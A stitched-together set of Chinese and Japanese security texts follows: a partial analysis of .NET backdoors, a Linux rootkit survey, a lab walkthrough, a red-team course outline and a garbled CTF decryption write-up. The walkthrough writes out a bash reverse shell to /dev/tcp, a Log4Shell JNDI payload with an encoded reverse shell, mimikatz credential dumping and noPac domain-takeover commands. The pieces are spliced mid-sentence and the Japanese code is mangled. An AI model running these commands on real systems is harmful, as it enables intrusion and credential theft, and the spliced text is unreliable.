有趣的是,該惡意軟件的發布版本還能夠執行命令:它支持s=命令,該命令獲取一個base64 編碼的字符串與1 字節密鑰0x24 進行異或運算。解碼後的字符串由cmd運行,執行結果返回給服務器。處理這個特性的代碼也在我們稍後討論的HttpService 後門中被重用。

HttpCallbackServiceHttpCallbackService是一個遠程管理工具(RAT),有一個熟悉的PDB路徑:C:\work\simpleserver\HttpCallbackService\obj\Release\HttpCallbackService. PDB。它的CC URL可以用兩種不同的方式指定:命令行參數或配置文件callservice.ini。接下來,接收到的值會附加一個短字符串:m=如果URL 以“.aspx”或“.php”結尾; m=,如果URL 以“/”結尾,或者/m=在任何其他情況下。

不幸的是,我們沒有找到任何與HttpCallbackService 相關的配置或其他工件,因此這次攻擊中的CC 服務器仍然未知。

每隔5秒,HttpCallbackService使用webClient向CC URL發送一個請求。 DownloadString方法接收由' \r\n '分割的命令列表。如果惡意軟件在過去的5分鐘內沒有收到任何命令,並且isStayAliveMode標誌被禁用,這個時間幀將增加到1分鐘。

這些是RAT 支持的命令:

10.png

當命令的結果上傳到服務器時,數據被發送到一個稍微不同的URL:之前定義的CC URL,現在附加了“1”。 使用以下格式的WebClient.UploadValues 方法發送數據:

download=file_name \r\n--------------\r\n base64 of chunk 用於下載命令;

command \r\n--------------\r\n result 用於cmd 命令;

HttpService

HttpService 是另一個偵聽指定端口的後門:它可以是命令行參數、取決於示例的預定義端口或配置文件中的值: exe_name .ini。我們發現了幾個默認端口為19336、19334、19333 的示例,以及上傳到VT 的兩個不同的配置文件,值分別為19336 和19335。

每個示例都有一個硬編碼版本。我們發現的文件屬於三個不同的版本:0.0.5、0.0.11v4H 和0.0.15v4H。 0.0.5 版本使用Simple TCP 服務器偵聽指定端口,而0.0.11v4H 和0.0.15v4H 版本基於Simple HTTP Server。它們都使用HTML Agility Pack 進行HTML 解析,使用IonicZip 庫進行壓縮操作。

後門的最高版本(0.0.15v4H)具有多種功能,包括命令執行和文件操作。

命令執行:命令“cmd”使後門通過cmd.exe運行指定命令,並以如下格式返回結果: div style='color: red' result_string /div 。此外,後門可以在收到“i=”命令時啟動交互式cmd shell,其參數可以是:

“1”–從shell 獲取輸出並將其發送回CC。

“2”–結束交互式shell 並清理。

Default-解碼和解密異或字符串,然後在shell 中運行命令並保存輸出。

與WinScreeny 類似,該惡意軟件也具有“s=”命令,其中字符串異或與1 字節密鑰0x24 作為參數。解碼後的字符串由cmd.exe 運行並將結果返回給服務器。

代理連接:收到“p=”或“b=”命令後,後門使用受害者的計算機作為它作為參數獲取的URL 的代理。後門與此URL 通信,重定向CC 服務器的請求,並等待響應將其發送回CC。

下載和上傳文件:“f=”或“1=”命令允許後門從作為參數給定的路徑下載文件,或者將作為參數給定的文件與消息正文的內容一起寫入。在收到“m=”命令後,惡意軟件將消息內容寫入路徑base_directory client_address .out,從base_directory client_address .in 中讀取數據,並將其發送給CC。如果該文件不存在,惡意軟件會創建該文件並將當前日期和時間寫入其中。

運行SQL 命令:“con=”/“c=”命令接收SQL DB 連接字符串和SQL 查詢,並將結果返回給服務器。

操作本地文件:“ path ”命令檢查文件/目錄是否存在,然後根據查詢值執行以下三個運行:

' zip ' -從目錄內容創建一個zip文件,並將其返回給CC;

' unzip ' -使用CC提供的路徑解壓縮文件;

“del”-刪除文件。

有趣的是,在所有這三種情況下,惡意軟件都會將整個目錄內容(包括子目錄)作為HTML 頁面返回,其中包含Zip、Unzip 和Delete 按鈕,具體取決於文件的類型。這是攻擊者端的接口:

11.png

ServerLaunch滴管HttpServer 版本0.0.5 的示例連同其dropper(稱為dwDrvInst.exe)一起提交,它模仿DameWare 可執行的遠程訪問軟件。該工具的PDB 路徑具有相同的模式,C:\work\ServerLaunch\Release\ServerLaunch.pdb。但是,該工具是用C++ 編寫的,而不是像所有其他工具一樣的.NET,並且是在2021 年12 月2 日編譯的,大約是攻擊前2個月。

ServerLaunch 在資源中包含三個可執行文件,分別位於C:\Users\Public\ 中的ionic.zip.dll、httpservice2 和httpservice4。然後惡意軟件不帶任何參數地啟動httpservice2 和httpservice4。它們每個都有一個不同的預定義端口來監聽,這可能允許攻擊者確保CC 通信的某種冗餘。

攻擊中涉及的文件我們已經討論了幾種不同的工具以及與其執行相關的一些工件。很明顯,所有這些工具都是由同一個攻擊者創建並相互關聯的。例如,屏幕截圖工具Winscreeny 不包含將創建的屏幕截圖上傳回攻擊者的功能,這可能意味著它依賴其他後門來執行此操作。所有工具的重複出現的Service1 名稱表明不同的後門,如果在同一台設

序言從西方APT組織的攻擊歷史及已經洩露的網絡武器看,高隱匿、高持久化(LowSlow)是其關鍵特徵,而Rootkit 則是達成此目的的重要技術之一。

在“【Rootkit 系列研究】Windows平台的高隱匿、高持久化威脅”裡,我們介紹了Windows Rootkit的生存期,可達成的效果,運用這項技術展開攻擊的可行性以及這項技術的發展現狀。除了Windows操作系統,Linux、Mac OS等同樣受Rootkit關注。在本文中,我們將目光投向Linux操作系統。我們首先對近年來用戶態Rootkit在黑產組織中的廣泛使用進行討論,接著介紹內核態Rootkit的高度定制化需求和Linux系統上存在的其他類型Rootkit,最後從攻防視角對Rootkit進行總結。

難以檢測的Linux Rootkit想像以下場景:由於業務需要,你們公司穩定運行多年的某台Linux服務器需要進行系統升級,在完成升級後,你偶然注意到服務器上多了幾個看起來像系統文件的文件(夾),你的第一反應是什麼?這是新版本引入的系統文件,pass?有點可疑,去搜索引擎查詢這些文件名是否正常?小心!任何一絲異常的背後都可能潛藏著巨大的危險。

Rootkit在幾乎所有操作系統上都是最具挑戰性的惡意軟件類型,它利用操作系統代碼中的疏忽,隱藏它的存在和惡意行為。製作精良的Rootkit可以在受害主機長期駐留,讓主機在用戶視角和部分內核視角沒有任何感知,進而很難通過系統提供的檢測工具以及常規的防病毒軟件進行檢測和清除。

用戶態倍受黑產青睞Linux Rootkit運行時所處的層次分用戶層和內核層兩種。對於運行於用戶層的用戶態Rootkit,它所涉及的技術簡單且成熟,例如替換系統文件,動態鏈接庫劫持等。對近兩年曝光的黑產組織攻擊樣本進行分析,我們發現越來越多的黑產組織以某些開源Rootkit為基礎,將用戶態Rootkit技術加入自己的技術棧。

進一步講,黑產組織喜歡將用戶態Rootkit作為其攻擊鏈中multi-stage-malware的一部分,即他們沒有將Rootkit功能集成在原本的挖礦或殭屍網絡樣本中,而是在原有惡意軟件的基礎上新增Rootkit,用於實現隱藏文件等新的功能,以規避安全公司提出的感染檢測方案:“通過檢查某些路徑、文件的存在與否,判斷某主機是否受到某惡意軟件的影響”。

根據某海外安全廠商2020年底的報告,H2Miner挖礦家族開始使用新的Rootkit樣本。該Rootkit修改自開源項目“beurk”,它使用LD_PRELOAD技術劫持動態鏈接過程,將磁盤上的挖礦文件“kinsing”以及正在運行的相關進程隱藏。這使得IT管理員在感知到系統運行速度無故變慢後,無法通過“top”命令看到佔用大量CPU資源的挖礦進程。值得一提的是,H2Miner家族目前仍十分活躍,我們發現2021年底該家族使用Log4j漏洞進行挖礦軟件傳播。 (鏈接:12.12 Log4j RCE 黑產從業者的狂歡)

2021年我們還觀測到活躍的TeamT/N/T挖礦家族使用的Rootkit樣本(鏈接:1.10 2021挖礦木馬趨勢報告)。該家族除了利用修改自開源項目“Diamorphine”的內核態Rootkit之外,還在用戶層替換了ps、top等系統命令文件,當使用這些命令進行排查時,挖礦的相關痕跡會被隱藏。具體代碼如圖:

ynl4c5xlvap20074.jpg

2021年4月,某海外安全廠商曝光了一種新型遠控程序Facefish,他們懷疑攻擊者正在進行殭屍網絡組網,併計劃在組網完成後,以“訪問權限即服務”(access-as-a-service)的方式出售該網絡的訪問權限。 Facefish遠控通過第一階段的dropper釋放出一個Rootkit,Rootkit利用用戶態常用的動態鏈接庫劫持技術,實現ssh、sshd的運行時鏈接程序劫持,最終在受害主機上放置一個後門。事實上,對於一個Rootkit程序,Facefish的這種用法十分原始,因為它僅利用了Rootkit的觸發機制,惡意so文件中還可以增加一系列隱藏功能。動態鏈接庫劫持效果如圖:

hzmxbv03zdf20075.jpg

為了降低被懷疑的概率,上述組織使用的惡意動態鏈接庫分別命名為libsystem.so、libs.so,它們刻意模仿Linux的系統自帶程序文件名,並駐留在系統文件路徑下,企圖蒙蔽服務器管理員。

試想如果你在包含上百個so文件,並且這些文件的文件名均以“lib”開頭的文件夾/lib64中看到了libs.so,這會引起你的懷疑嗎?不過對於防禦的一方,上述場景並不會讓人夜不能寐,因為針對用戶態Rootkit,有諸如文件完整性檢測、交叉視圖等十分成熟的檢測技術。歸根結底,這些Rootkit都只運行在用戶層,當防禦措施深入進操作系統內核,從底向上看,他們通通無處遁形。

內核態的高度定制化防禦方可以深入Linux操作系統內核進行防守,攻擊的一方當然也可以進入內核層進行攻擊。越接近Linux操作系統底層內核代碼,Rootkit的開發難度越大,對其進行檢測的難度也越高。對攻擊者來說,高投入通常意味著更有價值的攻擊目標和更高的回報,如果開發得當,Rootkit可以長期藏匿在目標機器中,所以內核態Rootkit也是攻擊者關注的重點。

傳統的內核態Rootkit使用可加載內核模塊(LKM)技術進入內核層後,在內核層進行“hook”。從執行在用戶態的程序調用“int0x80”陷入內核開始,整個系統調用流程中的任何一個位置,都可能成為內核態Rootkit進行hook的目標,圍繞“hook什麼”,“如何hook”這兩個問題,出現了近十種內核態Rootkit技術。

與用戶態Rootkit不同,由於內核態Rootkit直接對Linux內核源代碼進行操縱,所以對Rootkit有極高的定制化要求。這是因為經過多年的發展,Linux的內核版本眾多,每個版本的內核代碼都有或多或少的修改,攻擊者開發的某個內核態Rootkit可以在A版本上正常運行,很可能在B版本上完全失效,這就可能出現文章開頭提到的那一幕。

前文提到的TeamT/N/T挖礦家族除了在用戶態替換系統命令文件外,還使用內核態Rootkit技術,將惡意內核模塊diamorphine.ko加載進內核,實現進程、模塊、文件目錄的隱藏以及用戶權限的提升。該挖礦家族以雲主機為目標,Rootkit只能在2.6.x、3.x、4.x內核版本上正常運行,具體實現如圖:

j1q4hbtamzp20078.jpg

除了黑產,APT組織發起的定向攻擊中也用到了內核態Rootkit。 APT組織對隱蔽性有更高的要求,這也給信息收集環節提出了更大的挑戰,APT組織需要清楚的知道某次定向攻擊的目標所使用Linux服務器的內核版本號。在必要條件下,APT組織可以拿到與目標服務器完全相同的實體,並直接在其上進行Rootkit開發。例如震網病毒事件中,攻擊者對目標設備瞭如指掌,而後在惡意代碼中加入了嚴苛的環境判斷。再例如2020年曝光,據稱由APT28開發的內核態Rootkit Drovorub,它針對3.7以下版本的Linux內核,特別是Red Hat發行版進行攻擊。

內核態攻防進入深水區Rootkit最關鍵的要點是隱藏,而隱藏意味著攻擊者清楚的知道為什麼某個文件(夾)會顯示,為什麼某個網絡連接可被觀測,然後對這些顯示的機制進行繞過,以達到隱藏的效果。攻擊者知道的這些機制,防禦方當然也知道,並且對其開展檢測,而攻擊者進一步進行繞過,隨後便產生了攻防雙方的貓鼠遊戲。 Linux內核態Rootkit攻防的本質,是雙方誰對操作系統底層技術更加了解。繼續深入Linux內核,有沒有更加底層的Rootkit技術?答案當然是有,而且近年來越來越多。

2015年,Ryan利用Linux內核中的kprobe機制實現了Rootkit。 Kprobe是Linux內核開發者用於內核函數跟踪的一種輕量級內核調試技術,這個Rootkit展示了利用基於kprobe機制進行hook,實現Rootkit功能的可行性。

2016年,Michael在Blackhat上提出了一種基於命名空間的新型Linux Rootkit——Horse Pill,它在操作系統啟動過程中劫持虛擬根文件系統initrd(boot loader initialized RAM disk),使受攻擊的服務器進入另一個由攻擊者創建的“楚門的世界”(即一個子命名空間)。在這個子命名空間中,用戶所有的操作都能正常執行,但完全意識不到還存在另一個並行運行的,由攻擊者所控制的“真實世界”。

在kprobe的基礎上,Linux 4.0以上版本增加了eBPF技術,該技術可以在不加載內核模塊的前提下,在Linux內核中運行用戶編寫的程序。 Guillaume在2021年Blackhat上公開了基於eBPF的Rootkit。

總結雖然kprobe、Horse Pill、eBPF在內核更加底層的位置完成了Rootkit的隱藏功能,但是痕跡是否真的隱藏,會根據觀測的視角而大不相同。理論上不存在沒有任何痕蹟的Rootkit,總有某些角度可以觀測到系統出現了異常,因為如果一個程序在所有視角都隱藏,那麼攻擊者也無法對它進行控制。上述這些技術可以被攻擊者所利用,而防禦方同樣可以利用它們。現在各安全公司已利用它們設計功能更強大的安全軟件,對系統進行監控。

我們已經深入Linux內核深處,是否還存在更加底層的Rootkit? 2021年12月28日,海外某安全公司給出了突破操作系統的答案。他們發現了固件Rootkit“iLOBleed”,其隱藏在惠普固件HP iLO 上,同時可以以最高權限訪問和修改設備上所有的軟硬件資源。

事實上,對於現有的高級Rootkit,安全軟件已經非常難以檢測,通常需要安全專家人工介入分析,可以想像某些由APT組織定向投遞的Rootkit正在受害機器中潛伏。對Rootkit技術進行研究,不是去解決想像中的問題,而是回應真實的ring0世界。

參考資料https://www.4hou.com/posts/vLmm

https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html

https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/

https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf

https://github.com/elfmaster/kprobe_rootkit

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf

https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity

https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/

https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/

网络拓扑

5vlcsux0x3x14611.png

信息搜集

渗透测试第一步当然是信息搜集

拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151

发现开放了22,38080这两个端口

xgi5ucxgyq114615.png

通过nmap我们可以得知这是一台Ubuntu,22是ssh,而38080这个端口是unknown的,我们尝试访问一下

4qmd500pltk14619.png

于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog

1bpjjaqauq014621.png

发现存在 CVE-2021-44228漏洞,尝试去获取一个shell

CVE-2021-44228 利用

首先在我们的VPS kali(192.168.81.133) 开启一个LDAP:

git clone https://github.com/black9/Log4shell_JNDIExploit.git

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133

w4csjoie0y414623.png

然后在kali上nc监听9999端口:

ds2bx1fmatv14626.png

我们使用TOMCATBYpass进行反弹shell

iez0rudukcq14629.png

/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell

反弹shell命令需要进行base64编码

ipfadmz3qjs14632.jpg

BP抓包,改为post传参并且构造payload

payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=}

最后使用EXP成功反弹shell,要对base64编码进行两次url编码才能执行

ye2bibr4evz14635.png

rhxdwymykww14638.png

发现当前拿到的shell是一个docker容器

想办法逃逸也失败了,最后在/root/目录下找到了flag文件:

xrhzmzbdkpb14640.png

flag{redteam.lab-1}

Congratulations, you got this: saul Saul123

得到了一个flag,还有一个类似于账号密码的东西

在信息收集中nmap扫到目标主机开放22ssh服务,因此思考可能是ssh的账号密码

内网信息搜集

通过上节得到的账号和密码登陆到了Ubuntu系统

hb4gygwn5sj14643.png

我们可以看到当前机器拥有两块网卡,一块ens33用于链接外网,一块ens38用于内网通信

bu2ghjmycwc14645.png

在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash  python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。

所以我们使用for循环ping一下ens38的c段网络

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

2vqizkezzu514648.png

发现内网还有一台机器10.0.1.7存在

或者使用 scan info 工具进行内网信息收集

kali中使用python快速搭建httpd

在这里插入图片描述

靶机下载工具并赋予权限

在这里插入图片描述

进行内网信息收集

在这里插入图片描述

发现10.0.1.7存活并存在MS17-010

随后为了方便,我选择用 frp 把当前机器的流量代理出来:

配置frps.ini

0rbideza2f114661.png

配置frpc.ini

dpgcr2xkqzl14664.png

然后使用 Metasploit 设置 Socks5 对内网进行深度信息搜集;

setg Proxies socks5:192.168.81.133:8888
setg ReverseAllowProxy true

33mc4lluimi14665.png

使用 smb 版本探测模块对目标进行扫描:

use auxiliary/scanner/smb/smb_version

yqdgm1mjdba14669.png

发现目标10.0.1.7版本是windows7,并且存在域REDTEAM

既然是windows7,那么就可能存在MS17-010漏洞

MS17-010利用

通过上节,我们知道了10.0.1.7是win7,接下来进行探测

ogmrlf2kedd14673.png

通过探测得知这台机器是存在ms17-010漏洞的

由于目标是内网不一定出网,故而tcp反射连接不能使用 设置为payload正向bind_tcp

v2bpgj4bo0c14676.png

fejfz5oxjyp14680.png

直接拿到win7权限,然后加载mimikataz把密码抓出来

Username   Domain   Password
root REDTEAM Red12345
meterpreter > load mimikatz  加载工具

meterpreter > creds_all      列出凭证  
注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7

02ybgo1kcks14685.png

这个时候就得到了一个域用户的账号了。

内网利器 CVE-2021-42287、CVE-2021-42278

通过对当前内网的信息搜集之后发现,win7还有一块内网的网卡

ugtiuscwcny14689.png

2rtokssp1b314691.png

且定位到域控到域控 IP  10.0.0.12

zn3nnmsx25c14693.png

由于最近爆出了两个域内漏洞:CVE-2021-42287、CVE-2021-42278,直接尝试利用一下。

具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞CVE-2021-42287创建一个机器用户saulGoodman,再把机器用户 saulGoodman的sAMAccountName改成DC。然后利用DC去申请一个TGT票据。再把DC的sAMAccountName改为sAMAccountName。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(DC是域内已经的域控DC  sAMAccountName),攻击者利用刚刚申请的 TGT进行 S4U2self,模拟域内的域管去请求域控 DC  ST 票据,最终获得域控制器DC的权限。

于是直接使用MSF添加一个socks5

ugxxngnjik414695.png

添加路由

run autoroute -s 10.0.0.7/24

qgoqm0bcgbt14697.png

然后我们把本地的代理加上就行了

csmzeqp32vj14698.png

利用工具下载地址

https://github.com/WazeHell/sam-the-admin

https://github.com/Ridter/noPac

https://github.com/waterrr/noPac

然后利用脚本即可

proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell
proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldap
proxychains python3 exp.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

3gz055pxk0f14700.png

最后也是拿到了最终的 Flag。

xhns0d4fdro14702.png


靶机环境: 链接: https://pan.baidu.com/s/18pXdC2f_zDsXONpSUg1fYg 提取码: 8dcy 
原文链接:http://www.kryst4l.cn/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-log4j2-RCE-%E5%86%8D%E5%88%B0%E5%86%85%E7%BD%91%E6%A0%B8%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%B4%9E-CVE-2021-42287%E3%80%81CVE-2021-42278-%E6%8B%BF%E5%88%B0-DC/

0x00 红队基础知识

一、构建一个大型内网域环境搭建

  • 父域控制器
  • 子域控制器
  • 辅域控制器
  • 域内主机
  • 域内服务器

二、Windows NTLM(NT LAN Manager)认证原理Kerberos 域内认证原理

0x02 内网信息搜集篇

一、工作组和大型域内网如何进行信息搜集

  • 如何搜集本机密码

    • MySQL
    • SQL Server
    • ... ...
    • Linux 如何搜索特定的密码文件
    • 搜集指定用户的命令历史记录中的各种明文密码
    • Windows 2012 高版本以上如何搜集密码

    • Windows 2012 版本以下如何搜集密码

    • 关于 Linux 下如何搜集各种密码信息

    • 无线密码抓取

    • 组册表里各种健值敏感信息

    • 搜集数据库中保存的各类高价值账号密码

    • 搜集保存在目标系统本地各种文档中的明文密码

    • 针对各类常用 windows 办公软件的各类密码搜集

  • 如何搜集VPN密码

  • 如何搜集浏览器相关凭证

    • Chrome 浏览器抓取凭证
    • Firefox 浏览器抓取凭证
    • 360 浏览器抓取凭证
    • IE 浏览器抓取凭证
  • 如何搜集各种数据库信息

    • 通过 LDAP 定位核心机器
    • 通过 LDAP 获取内网架构分布
    • 通过 LDAP 获取内网组织架构
    • 通过 LDAP 获取域内核心机器
    • Mysql

    • SQL Server

    • Oracle

    • PostgreSQL

    • LDAP

  • 根据当前跳板机器搜集网络环境(判断那种协议出网)

  • 获取当前系统的详细IP配置,包括所在域, ip, 掩码, 网关, 主备 dns ip

  • 获取当前系统最近的用户登录记录

  • 获取当前用户的所有命令历史记录(针对于 Linux)

  • 远程截屏捕捉目标用户敏感操作

  • 获取当前机器环境变量(Java、Python、Go ...)

  • 获取当前本机 rdp / ssh 端口开启状态及其默认端口号

  • 获取本机所有已安装软件的详细列表

  • 获取本机各个浏览器中保存的、书签页、历史浏览记录

  • 获取当前用户桌面、回收站里的所有文件列表

  • 获取当前系统代理

  • 获取当前系统的所有 ipc 连接、共享

  • 获取当前系统host文件内容

  • 利用系统自带截屏捕捉目标用户敏感操作

  • ...

二、搜集目标内网邮箱

  • 企业内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析
  • Exchange内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析
  • ... ...

三、搜集目标内网各种Web页面、Web框架、登陆入口

  • Tomcat
  • Struts2
  • Weblogic
  • Jboss
  • Jekins
  • Apache Solr
  • ... ...

四、搜集各类客户端软件

  • FTP

    • XFtp
    • WinSCP
    • FileZilla
    • Xshell
    • MobaXterm
  • 远程客户端管理

    • 向日葵
    • TeamViewer
  • SSH

    • WinSCP
    • MobaXterm
    • Xshell

五、对于内网存活机器信息搜集

  • NetBIOS
  • ICMP
  • TCP
  • UDP
  • ARP

六、针对成百上千的内网如何快速信息搜集

  • 如何快速对一个 C 段进行信息搜集
  • 如何快速对一个 B 段进行信息搜集
  • 如何快速对一个 A 段进行信息搜集

0x03 内网穿透、流量代理、端口转发篇

一、根据当前跳板机器判断出网情况

  • TCP/UDP
  • ICMP
  • DNS
  • HTTP
  • HTTPS

二、正/反向代理连接工具

  • Metasploit
  • CobaltStrike
  • proxychains
  • SSocks
  • frp
  • ...

三、端口转发

  • LCX
  • Metasploit
  • netsh
  • iptables
  • powershell

四、内网穿透工具

  • FRP
  • NPS
  • spp
  • venom

五、针对不出网主机如何上线到 C2(Metasploit、CobaltStrike)

  • DNS
  • HTTP
  • ICMP
  • SMB

六、针对常规不出网主机如何做内网穿透、流量代理

  • DNS出网的话

    • iodine
  • HTTP/HTTPS出网的话

    • reGeorg
    • Neo-reGeorg

0x04 权限提升篇

一、Windows

  • Windows 提权之内核溢出提权

  • Windows 提权之土豆系列(Windows 9 种权限利用)

  • Windows 提权之第三方服务提权

  • Windows 提权之系统错误配置提权

  • Windows 提权之 Bypass UAC

  • 数据库提权

    • Mysql UDF 提权
    • Mysql MOF 提权
    • SQL Server XP_cmdshell 提权
    • SQL Server SP_oacreate 提权
    • SQL Server 其他提权
    • ... ... 等等

二、Linux

  • Linux 提权之内核溢出提权
  • Linux 提权之 SUID 提权
  • Linux 提权之利用错误配置提权
  • Linux 提权之计划任务提权
  • Linux 提权之利用高权限服务提权
  • ... ... 等等

0x04 各种 C2 使用以及深度分析篇

一、Metasploit

  • Metasploit|七大模块详解

  • Metasploit|针对 Auxiliary 辅助模块的常规使用

  • Metasploit|针对 Exploit 漏洞利用模块的常规使用

  • Metasploit|针对 Payload 模块生成各种(正/反)漏洞利用可执行文件

  • Metasploit|针对 Post 后渗透利用模块的常规使用

  • Metasploit|获取当前机器的明文密码及 Hash

  • Metasploit|获取提权的有效模块进行权限提升

  • Metasploit|窃取键盘记录、获取目标屏幕截图、文件上传下载操作、以及 load 扩展使用

  • Metasploit|根据当前跳板机器如何添加路由、进行端口转发、内网穿透

  • Metasploit|如何连接到 Postgresql 数据库进行管理渗透记录

  • Meterpreter|添加 Socks 代理

  • Meterpreter|设置 session 永久不掉线(防止权限丢失)

  • Meterpreter|设置上线之后自动进程迁移(防止权限丢失)

  • Meterpreter|开启目标远程桌面服务 3389 端口

  • Meterpreter|针对内网各种服务进行爆破

    • 针对内网所有 Windows 存活机进行批量 SMB 爆破
    • 针对内网所有 Mssql 存活机进行批量爆破
    • 针对内网所有 Mysql 存活机进行批量爆破
    • 针对内网所有 Linux 存活机 进行批量 Ssh 爆破
    • 针对内网所有 Redis 存活进行批量爆破
    • 针对内网所有存活 Postgresql 进行批量爆破
    • 针对内网所有存活 Telnet 进行批量爆破
    • 针对内网所有存活 Ftp 进行批量爆破
    • 针对内网 Exchange 的 ews 接口爆破
  • Meterpreter|如何发现内网下各类高价值存活主机

    • 探测内网 SMB,Windows 存活
    • 探测内网 SSH,Linux 存活
    • 探测内网 MySQL 存活
    • 探测内网 MsSQL 存活
    • 探测内网 RDP 存活(3389)
    • 探测内网 Telnet 存活
    • 探测内网 FTP 存活
    • 探测内网 Web 组件快速批量识别
    • 探测内网 MS17-010 漏洞
    • 探测内网 CVE-2019-0708 漏洞
  • Metasploit 与 Cobalt Strike 双双联动

  • 如何单靠 Metasploit 来对内网进行渗透

二、CobaltStrike

  • Cobalt Strike|安装与简介
  • Cobalt Strike|创建监听以及生 Payload
  • Cobalt Strike|如何基于 HTTP / SMB 上线
  • Cobalt Strike|如何抓当前机器的密码 HASH
  • Cobalt Strike|内网端口扫描以及发现内网存活机器
  • Cobalt Strike|端口转发、Socks 代理
  • Cobalt Strike|进程窃取、屏幕截图、键盘记录、进程迁移
  • Cobalt Strike|第三方插件的使用(渗透攻击红队)
  • Cobalt Strike|如何造轮子写一个自己的插件
  • Cobalt Strike|内网批量上线
  • Cobalt Strike|针对于不同的网络环境上线不出网的机器
  • Cobalt Strike|中转上线内网不出网的机器
  • Cobalt Strike 与 Metasploit 双双联动

三、Poshc2TSH... ...

0x05 内网横向移动篇

一、基于 Metasploit 下的横向移动基于 Cobalt Strike 下的横向移动利用 PsExec 来横向移动利用 SMBExec 来横向移动利用 WMIExec 来横向移动IPC 命令行攻击

  • at 定时任务
  • schtasks 定时任务
  • wmic
  • WinRm

二、哈希传递(Pass The Hash)横向移动

0x06 域内攻击篇

从域外对域内进行枚举搜集各类信息从域外对域内进行密码喷洒攻击令牌窃取在实际域渗透中的灵活运用哈希传递(Pass The Hash)攻击MS14-068 票据传递(Pass the Ticket)攻击域渗透中活动目录 ntds.dit 文件的获取与实际应用Windows 2008 GPP 组策略首选项漏洞利用域渗透之非约束委派攻击利用域渗透之约束委派攻击利用域渗透之基于资源的约束委派攻击利用NetLogon 域内提权漏洞(CVE-2020-1472)利用 krbtgt 来打造 Golden Ticket(黄金票据) 对域内进行权限维持通过服务账号 Hash 来打造 Silver Ticket(白银票据) 进行 PTK内网渗透中的 Net-NTLM Relay Attack利用 Skeleton Key 对域内权限进行权限维持通过 Hook PasswordChangeNotify 拦截修改的帐户密码通过 SSP 来获取目标登陆的凭据从而达到权限维持的手段通过 GPO(组策略对象)批量控制域内主机AS-REP Roasting Attack多种域内漏洞组合拳利用跨域攻击、如何从子域攻击到主域无域用户下如何进行域渗透如何从 A 域 渗透到 B 域域内定向攻击,获取指定机器的权限通过 Windows 域外远程获取目标域内数据通过 Linux 域外远程获取目标域内数据

0x07 Exchange 攻击篇

对内网里 Exchange 邮件服务进行枚举邮箱用户和密码喷洒攻击对内网里 Exchange 邮件服务进行 NTLM RelayExchange CVE-2020-0688 远程代码执行漏洞利用Exchange 常规内外网打点搜集  [Exchange存活、目标 Exchange 接口、定位 Exchange 服务器]基于 Metasploit 对 Exchange 的常规接口爆破Exchange 导出指定邮件内网...

0x08 杀软对抗篇

免杀制作思路基于白名单绕过Payload 免杀编写Bypass add userCobalt Strike Profile 分析以及编写通过域名+CDN 隐藏 C2(Metasploit、CobaltStrike)Metasploit 通过 ACL 隐藏 Bind Shell

0x09 权限维持篇

工作组下如何进行内网渗透域环境下如何进行内网渗透Linux 集群环境渗透姿势

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

#!/usr/bin/env python

#詳細については、https://tool.lu/pyc/をご覧ください

#version: python 3.8

ランダムをインポートします

def encrypt_file(file_path):

random.seed(114514)

#警告: Decompyleが不完全

file_path='./flag'

encrypt_file(file_path)

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data(encrypted_data):

random.seed(114514)

decrypted_data=bytearray()

byte in necrypted_data:の場合

key=random.randint(0、128)

decrypted_data.append(byte ^ key)

decrypted_dataを返します

def read_file(file_path、mode='rb'):

open(file_path、mode)をfile:として

file.read()を返します

def write_file(file_path、data、mode='wb'):

open(file_path、mode)をfile:として

file.write(data)

def decrypt_file(encrypted_file_path、output_file_path):

encrypted_data=read_file(encrypted_file_path)

decrypted_data=decrypt_data(encrypted_data)

write_file(output_file_path、decrypted_data)

__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file(encrypted_file_path、output_file_path)

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

